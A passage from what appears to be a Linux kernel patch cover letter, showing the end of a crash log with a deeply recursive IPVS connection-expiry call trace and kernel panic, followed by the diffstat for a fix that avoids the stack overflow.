net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.514843] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.515315] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.515765] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.516254] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.516791] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.517379] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.517823] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.518313] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.518757] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.519224] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.519667] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.520143] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.520588] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.521453] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.521911] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.522395] ? addrconf_notify (net/ipv6/addrconf.c:3812) [ 59.522823] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.523306] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.523819] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.524264] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.524733] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.525579] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.526136] ? __pfx_sched_balance_find_src_group (kernel/sched/fair.c:11815) [ 59.526694] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.527147] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.527625] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.528070] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.528537] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.528981] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.529546] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.529992] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.530479] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.530924] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.531405] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.532365] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.532943] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.533587] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.534099] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.534653] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.535148] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.535609] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.536161] ? __flush_work (include/linux/rcupdate.h:882 kernel/workqueue.c:4389 kernel/workqueue.c:4403) [ 59.536576] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.537089] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.537578] ? ip_vs_conn_net_cleanup (net/netfilter/ipvs/ip_vs_conn.c:1329 net/netfilter/ipvs/ip_vs_conn.c:1961 net/netfilter/ipvs/ip_vs_conn.c:2099) [ 59.538104] ? __ip_vs_cleanup_batch (net/netfilter/ipvs/ip_vs_core.c:2542) [ 59.538659] ? ops_undo_list (net/core/net_namespace.c:206 net/core/net_namespace.c:253) [ 59.539128] ? __pfx_ops_undo_list (net/core/net_namespace.c:743) [ 59.539581] ? __pfx__raw_spin_lock (kernel/locking/spinlock.c:362) [ 59.540038] ? cleanup_net (net/core/net_namespace.c:706) [ 59.540498] ? __pfx_cleanup_net (include/linux/llist.h:241) [ 59.540933] ? finish_task_switch.isra.0 (kernel/sched/sched.h:1684 (discriminator 1) kernel/sched/sched.h:1697 (discriminator 1) kernel/sched/core.c:5251 (discriminator 1) kernel/sched/core.c:5369 (discriminator 1)) [ 59.541513] ? process_one_work (kernel/workqueue.c:3387) [ 59.541971] ? __pfx___schedule (kernel/sched/core.c:8159 (discriminator 1)) [ 59.542408] ? __pfx_process_one_work (kernel/workqueue.c:4549) [ 59.542918] ? _raw_spin_lock_irq (include/linux/instrumented.h:55 include/linux/atomic/atomic-instrumented.h:1301 include/asm-generic/qspinlock.h:112 include/linux/spinlock.h:188 include/linux/spinlock_api_smp.h:166 kernel/locking/spinlock.c:189) [ 59.543351] ? __pfx_cleanup_net (include/linux/llist.h:241) [ 59.543790] ? assign_work (kernel/workqueue.c:1235) [ 59.544188] ? worker_thread (kernel/workqueue.c:3470 kernel/workqueue.c:3551) [ 59.544592] ? __pfx_worker_thread (include/linux/list.h:264) [ 59.545077] ? kthread (kernel/kthread.c:436) [ 59.545423] ? recalc_sigpending (include/linux/instrumented.h:97 include/asm-generic/bitops/instrumented-atomic.h:41 include/linux/thread_info.h:109 kernel/signal.c:163) [ 59.545880] ? __pfx_kthread (include/linux/list.h:173) [ 59.546291] ? ret_from_fork (arch/x86/kernel/process.c:158) [ 59.546685] ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:328 (discriminator 7)) [ 59.547142] ? __switch_to (include/linux/instrumented.h:82 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/thread_info.h:133 include/linux/sched.h:2102 arch/x86/include/asm/fpu/sched.h:34 arch/x86/kernel/process_64.c:619) [ 59.547514] ? __switch_to_asm (arch/x86/entry/entry_64.S:206) [ 59.547907] ? __pfx_kthread (include/linux/list.h:173) [ 59.548295] ? ret_from_fork_asm (arch/x86/entry/entry_64.S:245) [ 59.548704] [ 59.549612] Kernel Offset: 0x18400000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 59.550846] ---[ end Kernel panic - not syncing: kernel: panic_on_warn set ... ]--- -----END crash log----- Best regards, Zihan Xi Zihan Xi (1): ipvs: avoid stack overflow from recursive connection expiration net/netfilter/ipvs/ip_vs_conn.c | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) -- 2.43.0